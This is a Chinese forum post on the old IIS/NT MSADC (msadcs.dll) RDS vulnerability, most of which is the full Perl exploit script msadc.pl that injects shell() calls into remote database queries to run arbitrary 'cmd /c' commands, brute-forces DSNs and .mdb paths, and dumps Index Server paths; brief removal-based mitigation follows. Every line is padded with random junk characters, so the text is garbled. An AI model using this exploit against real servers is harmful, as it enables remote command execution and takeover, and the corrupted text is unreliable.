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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 96M?tTa  
0{u31#0j  
涉及程序: ^ ]Mlkd:  
Microsoft NT server } ti+tM*  
Z[+H$=$%  
描述: eyPh^c]?`8  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ODE9@]a  
@#sBom+K`  
详细: @mM])V  
如果你没有时间读详细内容的话,就删除: OFS` ?>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]u~6fknm  
有关的安全问题就没有了。 h ]'VAt  
CH h]v.V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Ga o(3Y  
}M%U}k]+@  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ){=2td$=$  
关于利用ODBC远程漏洞的描述,请参看: Q)pm3Wi  
Gp6|0:2,L~  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NUB3L  
yj]\%3o<Z7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 c o}o$}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4.@gV/U(|  
I^'U_"vB  
这里不再论述。 >we/#C"x  
[Tv!Pc  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 6wV{}K^0  
3)SO-Bz\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset JStT"*4j  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! X8U._/'N  
i7^_y3dG  
7=jeq|&kN  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +jk_tPSe  
n[2[V*|mI  
#!perl xHN"7j}h  
# M[9]t("  
# MSADC/RDS 'usage' (aka exploit) script y7 tK>aD}  
# C`|'+  
# by rain.forest.puppy {eR,a-D!7  
# d9/YW#tm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Y)% CxaO `  
# beta test and find errors! [[fhfV+H  
K<`"Sr  
use Socket; use Getopt::Std; |Tz/9t  
getopts("e:vd:h:XR", \%args); >icK]W  
(+g!~MP  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; +*OY%;dQ7@  
4qw&G  
if (!defined $args{h} && !defined $args{R}) { z1oikg:?4  
print qq~ i2<dn)K[~-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } z` b. ~<P  
-h <host> = host you want to scan (ip or domain) ]sz3:p=5  
-d <seconds> = delay between calls, default 1 second Vab+58s5  
-X = dump Index Server path table, if available <fY<.X  
-v = verbose %dXfC!  
-e = external dictionary file for step 5 ~O{sOl _<4  
=d_@k[8<0  
Or a -R will resume a command session $ohg?B ;  
VN=S&iBa/  
~; exit;} ?&Y3Fr)%  
aOYRenqu  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; VK9I#   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} E|2klA^+*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} l\l\T<wa,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *GsrG*OM*D  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} XK:KWqW  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 2fc8w3  
22?9KZ`Z=  
if (!defined $args{R}){ $ret = &has_msadc; #+Lo&%p#3  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} h#bpog  
1a {~B#  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" C._I\:G^  
. "cmd /c "; 6"Tr$E  
$in=<STDIN>; chomp $in; 64s9Dy@%F  
$command="cmd /c " . $in ; ~g2ColFhu  
7{oG4X!  
if (defined $args{R}) {&load; exit;} SZ}t_w `  
Mnpb".VU#T  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; U4*5o~!=S  
&try_btcustmr; (tGK~!cAv  
cTRQI3Oa>  
print "\nStep 2: Trying to make our own DSN..."; ;D_6u(IC4:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; m{gK<T  
8a{FxCBw  
print "\nStep 3: Trying known DSNs..."; i3 k ',8  
&known_dsn; k07JMS?  
bA#E8dlC_  
print "\nStep 4: Trying known .mdbs..."; 1{+Ni{  
&known_mdb; [.P~-6~  
 /A|cO   
if (defined $args{e}){ tq9t(0EL  
print "\nStep 5: Trying dictionary of DSN names..."; ]3#_BL)M8p  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } U[~BW[[@f  
~..h=  
print "Sorry Charley...maybe next time?\n"; tZ1iaYbvV  
exit; wxPg*R+t  
<_""4  
############################################################################## 7I4G:-V:^  
hIa@JEIt  
sub sendraw { # ripped and modded from whisker ,2?"W8,  
sleep($delay); # it's a DoS on the server! At least on mine... DSix(bs9  
my ($pstr)=@_; 7<{Zq8)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  6<A\U/  
die("Socket problems\n"); )|/t}|DIx  
if(connect(S,pack "SnA4x8",2,80,$target)){ /= P!9d {  
select(S); $|=1; Cm}ZeQ  
print $pstr; my @in=<S>; }}~ ^!  
select(STDOUT); close(S); wP/rR D6  
return @in; ?|^1-5l3  
} else { die("Can't connect...\n"); }} ,K7C2PV6  
yo V"?W>!  
############################################################################## GMOv$Tn-_L  
{U=za1Ga  
sub make_header { # make the HTTP request uXeBOLC  
my $msadc=<<EOT j^Zp BNL  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 rjU $*+  
User-Agent: ACTIVEDATA $y=sT({VVe  
Host: $ip *cTN5 S>  
Content-Length: $clen n2-R[W^  
Connection: Keep-Alive =}7wpTc,  
fE)+9!  
ADCClientVersion:01.06 s4SR6hBO  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ]8YHA}P  
#.}Su+XF  
--!ADM!ROX!YOUR!WORLD! l) VMF44  
Content-Type: application/x-varg ]@ETQ8QN  
Content-Length: $reqlen ~PuPY:"  
4E3HYZ  
EOT A'|W0|R9  
; $msadc=~s/\n/\r\n/g; :KX/GN!n  
return $msadc;} aI|)m8 >)X  
A@'):V8_%C  
############################################################################## C bG"8F|4  
 [.z1  
sub make_req { # make the RDS request #f/-iu=L  
my ($switch, $p1, $p2)=@_; aqs']  
my $req=""; my $t1, $t2, $query, $dsn; Q8Usyc'3  
F>A-+]X3o  
if ($switch==1){ # this is the btcustmr.mdb query Q+G=f  
$query="Select * from Customers where City=" . make_shell(); 7"4|`y^#  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . iO#H_&L.p  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "_'9KBd!  
@oYq.baHX  
elsif ($switch==2){ # this is general make table query n2 ,b~S\e  
$query="create table AZZ (B int, C varchar(10))"; L6$,<}l  
$dsn="$p1";} 1Sz5&jz  
>!? f6 {\|  
elsif ($switch==3){ # this is general exploit table query P9`i6H'~  
$query="select * from AZZ where C=" . make_shell(); ~`tc|Zu  
$dsn="$p1";} k1-?2kf"{  
?\hXJih  
elsif ($switch==4){ # attempt to hork file info from index server B5B'H3@  
$query="select path from scope()"; &;9<a^td  
$dsn="Provider=MSIDXS;";} w/G5I )G  
s'\"%~nF<  
elsif ($switch==5){ # bad query  Mw'd<{  
$query="select"; :g<dwuVO  
$dsn="$p1";} :Np&G4IM>  
Y<#7E;aL  
$t1= make_unicode($query); XfbkK )d  
$t2= make_unicode($dsn); `! m+g0  
$req = "\x02\x00\x03\x00"; ['-ln)96.  
$req.= "\x08\x00" . pack ("S1", length($t1)); `34[w=Zm  
$req.= "\x00\x00" . $t1 ; W,Dr2$V  
$req.= "\x08\x00" . pack ("S1", length($t2)); i8HSYA  
$req.= "\x00\x00" . $t2 ; ~,':PUkiV  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %I Y-0\  
return $req;} 8Qu].nKe  
[zf9UUc~  
############################################################################## f.+e  
FIU( 2  
sub make_shell { # this makes the shell() statement ci3{k"  
return "'|shell(\"$command\")|'";} 9M01}  
9zO;sg;3  
############################################################################## kV6>O C&^  
{AIZ,  
sub make_unicode { # quick little function to convert to unicode ~sSB.g  
my ($in)=@_; my $out; -ZihEyG?V  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } :sT<<LtI-  
return $out;} z eIBB  
UQW;!8J#R(  
############################################################################## >y]YF3?  
:X`J1E]Rjd  
sub rdo_success { # checks for RDO return success (this is kludge) &2?kD{  
my (@in) = @_; my $base=content_start(@in); zP=J5qOZ8  
if($in[$base]=~/multipart\/mixed/){ bk4%lYJ"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $8i t&/JP,  
return 0;} f"Iv  
M;Vx[s,#,  
############################################################################## \mc~w4B[)3  
6oUT+^z#  
sub make_dsn { # this makes a DSN for us 5QmF0z)wR  
my @drives=("c","d","e","f"); "t_]Qu6  
print "\nMaking DSN: "; hr6f}2  
foreach $drive (@drives) { toIljca  
print "$drive: "; QX(:!b  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . HM[BFF[;/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" OgfQGGc  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); E) z g,7Y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &a:>P>\  
return 0 if $2 eq "404"; # not found/doesn't exist nh9K(  
if($2 eq "200") { kt;X|`V{5z  
foreach $line (@results) { wRie{Vk  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /[EI0 ~P  
} return 0;} `VBjH]$  
.WG@"2z|  
############################################################################## Hh!x&;x}  
3*arW|Xm  
sub verify_exists { aUA+%  
my ($page)=@_; dd4yS}yBlR  
my @results=sendraw("GET $page HTTP/1.0\n\n"); G0*$&G0nb  
return $results[0];} ,sLV6DM  
VJr?` eY4  
############################################################################## A0[flIl  
yobi$mnsy!  
sub try_btcustmr { 2EE#60  
my @drives=("c","d","e","f"); iwmXgsRa9}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :EA,0 ,  
OB$A"XGAEV  
foreach $dir (@dirs) { tU)+q?Mw  
print "$dir -> "; # fun status so you can see progress {n1o)MZ]R  
foreach $drive (@drives) { 'mmyzsQ \6  
print "$drive: "; # ditto ?=4J  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *jW$AH  
$reqlenlen=length( "$reqlen" ); +Tu:zCv.  
$clen= 206 + $reqlenlen + $reqlen; -@#AQ\  
9U;) [R Mb  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); )(!vd!p5  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hR{Fn L  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} }:hdAZ+z  
u-k*[!JU  
##############################################################################  R6AZIN:  
mfx 'Yw*{  
sub odbc_error { O>k.sO <  
my (@in)=@_; my $base; DTr0u}m  
my $base = content_start(@in); i,bFe&7J  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 'x6Mqv1W  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "ht2X w  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7x1jpQ -  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zxsnrn;|  
return $in[$base+4].$in[$base+5].$in[$base+6];} \< z{ @  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]q?<fEG2<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . {=R=\Y?r&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} t~bjDV^`  
\{~x<<qFd  
############################################################################## m*I5 \  
a{u)~:/G  
sub verbose { w93yhV?  
my ($in)=@_; DsFrA]  
return if !$verbose; =n#xnZ3  
print STDOUT "\n$in\n";} =CqLZ$10  
@P@t/  
############################################################################## FNm8j#c~Q  
;#j/F]xG  
sub save { Y}Qu-fm  
my ($p1, $p2, $p3, $p4)=@_; XVI+Y  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; XE>XzsnC  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; +$<m;@mZ  
close OUT;} *?i~AXJm  
n ~ =]/  
############################################################################## n$~RgCf  
12rr:(#%s  
sub load { @w|~:>/g  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; k'u2a  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #U6Wv1H{Lp  
@p=<IN>; close(IN); ;>Kxl}+R  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); *.~M#M 9c  
$target= inet_aton($ip) || die("inet_aton problems"); :z^c<KFX  
print "Resuming to $ip ..."; $T*kpUXH}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Y#rao:I  
if($p[1]==1) { m$$U%=r>@  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; naAZR*(A  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2j_L jY'7  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {cG&l:-r  
if (rdo_success(@results)){print "Success!\n";} 5qFqH  
else { print "failed\n"; verbose(odbc_error(@results));}} >+G=|2  
elsif ($p[1]==3){ Z?^AX&F  
if(run_query("$p[3]")){ `@Qq<T}V  
print "Success!\n";} else { print "failed\n"; }} 7, O_'T &  
elsif ($p[1]==4){ ^LnCxA&QH  
if(run_query($drvst . "$p[3]")){  /h   
print "Success!\n"; } else { print "failed\n"; }} #%E~I A%  
exit;} ~>qcV=F^d,  
=MoPOib\n  
############################################################################## 8# 9.a]AX  
t4 aa5@r  
sub create_table { -lLq)  
my ($in)=@_; -o=qYkyLK  
$reqlen=length( make_req(2,$in,"") ) - 28; 1o.]"~0:  
$reqlenlen=length( "$reqlen" ); 'jfI1 ]q  
$clen= 206 + $reqlenlen + $reqlen; a7M8sZ?"  
my @results=sendraw(make_header() . make_req(2,$in,"")); iXXgPapz  
return 1 if rdo_success(@results); PY) 74sa  
my $temp= odbc_error(@results); verbose($temp); .+ _x|?'  
return 1 if $temp=~/Table 'AZZ' already exists/; xe_c`%_  
return 0;} %)]{*#N4  
7MBz&wE^f  
############################################################################## n.Ekpq\  
,@GI3bl  
sub known_dsn { jagsV'o2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go V}Oxz04  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /J5wwQ (:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", LnM+,cBz  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); E*k=8$Y  
]V}";cm;2  
foreach $dSn (@dsns) { ek3/`]V:  
print "."; 'S&5zwrH  
next if (!is_access("DSN=$dSn")); 6R"& !.ZF  
if(create_table("DSN=$dSn")){ E Xo"F*gW  
print "$dSn successful\n"; \GBv@  
if(run_query("DSN=$dSn")){ x.}iSE{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Uv.{=H:  
print "Something's borked. Use verbose next time\n";}}} print "\n";} KZ&8aulP  
0~"{z >s '  
############################################################################## nww,y  
y/ vE  
sub is_access { hoPCbjkov  
my ($in)=@_; 2}hEBw68  
$reqlen=length( make_req(5,$in,"") ) - 28; HjL+Wg  
$reqlenlen=length( "$reqlen" ); .hn "NXy  
$clen= 206 + $reqlenlen + $reqlen; [9*+s  
my @results=sendraw(make_header() . make_req(5,$in,"")); @_0XK)pW  
my $temp= odbc_error(@results); [?_^Cy  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); &Q 3!ty  
return 0;} "y#$| TMB  
l8jm7@.E  
############################################################################## JrS|Ib)6  
4fQ<A <2/  
sub run_query { `Y8 F}%i[  
my ($in)=@_; q,kdr)-  
$reqlen=length( make_req(3,$in,"") ) - 28; /2 WGo-  
$reqlenlen=length( "$reqlen" ); rr9N(AoxW  
$clen= 206 + $reqlenlen + $reqlen; b m`x  
my @results=sendraw(make_header() . make_req(3,$in,"")); X8y&|uH  
return 1 if rdo_success(@results); 7oK!!Qd^w  
my $temp= odbc_error(@results); verbose($temp); PWmFY'=  
return 0;} Pe~[qETv  
X`#vH8  
############################################################################## l g~Gkd6  
-PoW56  
sub known_mdb { _-^a8F>/19  
my @drives=("c","d","e","f","g"); qgDd^0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); j%Usui<DL  
my $dir, $drive, $mdb; +<&_1% 5+  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; g \&Z_  
`l'z#\  
# this is sparse, because I don't know of many <Zn]L:  
my @sysmdbs=( "\\catroot\\icatalog.mdb", b-\ 1D;]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2w+w'Ag_R  
"\\system32\\certmdb.mdb", G[@RZ~o4  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <V>]-bl/  
4Zo.c* BZ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Wv8?G~>  
"\\cfusion\\cfapps\\forums\\forums_.mdb", KZ>cfv-&a  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", u{o3  
"\\cfusion\\cfapps\\security\\realm_.mdb", &M&*3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Ja"?Pb  
"\\cfusion\\database\\cfexamples.mdb", yxik`vmH  
"\\cfusion\\database\\cfsnippets.mdb", J<yt/V]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", o7;lR?  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lvY[E9I0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", W2&o'(P\  
"\\cfusion\\database\\smpolicy.mdb",  6g576  
"\\cfusion\\database\cypress.mdb", +<a-;e{  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `1{Y9JdQ  
"\\website\\cgi-win\\dbsample.mdb", gE\&[;)DB  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", jEVDz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" g1Ed:V]_  
); #these are just -U.>K,M  
foreach $drive (@drives) { 9sJ=Nldq  
foreach $dir (@dirs){ Q V)>+6\  
foreach $mdb (@sysmdbs) { &N:Iirg  
print "."; <A^sg?s<'  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ kUGOkSP8[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; qILb>#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ C3)*Mn3%P  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .o8Sy2PaV  
} else { print "Something's borked. Use verbose next time\n"; }}}}} X6 *4IE  
3:C)1q  
foreach $drive (@drives) { g[';1}/B4  
foreach $mdb (@mdbs) { 1-0tG+  
print "."; /W9(}Id6  
if(create_table($drv . $drive . $dir . $mdb)){ R-LMV  
print "\n" . $drive . $dir . $mdb . " successful\n"; ( RO-~-  
if(run_query($drv . $drive . $dir . $mdb)){ 70Jx[3vr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0Un?[O  
} else { print "Something's borked. Use verbose next time\n"; }}}} 0$ JH5RC  
} ^F,sV*  
2. '` mGu  
############################################################################## 0xVw{k}1U  
_rM?g1}5j  
sub hork_idx { 2,aH1Xbex  
print "\nAttempting to dump Index Server tables...\n"; /s*.:cdH  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e`n+U-)z  
$reqlen=length( make_req(4,"","") ) - 28; _Z7`tUS-j  
$reqlenlen=length( "$reqlen" ); J?{@pA  
$clen= 206 + $reqlenlen + $reqlen; _NefzZWUJ  
my @results=sendraw2(make_header() . make_req(4,"","")); :aQ.:b(n  
if (rdo_success(@results)){ Rjp7H  
my $max=@results; my $c; my %d; %5RR<[_/;  
for($c=19; $c<$max; $c++){ 3{$vN).  
$results[$c]=~s/\x00//g; }`cf3'rdk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @,Z0u2WLl6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s@Dln Du .  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; B6=?Qp/f  
$d{"$1$2"}="";} v%:VV*MxF  
foreach $c (keys %d){ print "$c\n"; } V'hb 4}@  
} else {print "Index server doesn't seem to be installed.\n"; }} $vrkxn  
t:MSV?  
############################################################################## v5>A1\  
[?%q,>F  
sub dsn_dict { >)F "lR:o  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); zD)/QFILy  
while(<IN>){ Hvb8+"?~  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; KpA1Ac)T  
next if (!is_access("DSN=$dSn")); ?4A/?Z]ub  
if(create_table("DSN=$dSn")){ H-vHcqFx3  
print "$dSn successful\n"; jr,N+K(@T  
if(run_query("DSN=$dSn")){ jc!m; U t  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { CYRZ2Yrk?"  
print "Something's borked. Use verbose next time\n";}}} U0gZf5;*  
print "\n"; close(IN);} 8EI9&L>  
8~tX>q<@q  
############################################################################## Kv<f< >|L  
pO_IUkt  
sub sendraw2 { # ripped and modded from whisker j$K*R."  
sleep($delay); # it's a DoS on the server! At least on mine... AbxhNNK  
my ($pstr)=@_; C];P yQS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wBcoh~ (y  
die("Socket problems\n"); q3AqU?f  
if(connect(S,pack "SnA4x8",2,80,$target)){ s1q8r!2\w  
print "Connected. Getting data"; +D@5zq:5  
open(OUT,">raw.out"); my @in; \ ?pyax8  
select(S); $|=1; print $pstr; tI1OmhNN  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} LH)XD[  
close(OUT); select(STDOUT); close(S); return @in; %x N${4)6  
} else { die("Can't connect...\n"); }} v\GVy[Qyv  
H4s~=iB  
############################################################################## 8l_M 0F ,  
')U~a  
sub content_start { # this will take in the server headers MB!9tju  
my (@in)=@_; my $c; zcKQD)]  
for ($c=1;$c<500;$c++) { Q_U.J0  
if($in[$c] =~/^\x0d\x0a/){ Dn6U8s&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } h Ta(^  
else { return $c+1; }}} (J[Xryub  
return -1;} # it should never get here actually lDTHK2f  
-QroT`gy  
############################################################################## 3V<@ Vkf5  
.4p3~r?=S  
sub funky { AH|gI2  
my (@in)=@_; my $error=odbc_error(@in); @^A5{qQ\  
if($error=~/ADO could not find the specified provider/){ =A.$~9P  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Y8zTw`:V  
exit;} #0>xa]S  
if($error=~/A Handler is required/){ MC* Hl`C  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^cm ] [9  
exit;} ZUHRATT-  
if($error=~/specified Handler has denied Access/){ -~mgct5  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7 p{Pmq[  
exit;}} R|C 2O[r}  
U}LW8886  
############################################################################## =eDIvNps  
t N{S;)q#X  
sub has_msadc { Gq^vto  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Zge(UhZ  
my $base=content_start(@results); H+4j.eVzZU  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); G 5;6q  
return 0;} ?@ F2Kv  
3''S x8p  
######################## ]1|P|Jp  
|'q%9 #  
>#w;67he2  
解决方案: ZEAUoC1E1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll JVYH b 60Z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 m1l6QcT1  
7;s#QqG`I  
拿出来充数 哈哈
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